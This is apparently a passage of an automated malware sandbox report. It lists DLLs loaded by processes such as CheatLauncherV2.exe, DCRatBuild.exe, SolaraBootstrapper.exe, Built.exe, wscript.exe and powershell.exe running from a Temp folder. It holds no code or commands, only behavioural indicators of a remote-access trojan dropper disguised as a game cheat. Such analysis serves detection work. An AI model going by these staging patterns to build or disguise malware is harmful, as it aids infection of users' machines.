Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: avicap32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: dciman32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: mmdevapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: ksuser.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: avrt.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: audioses.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: midimap.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
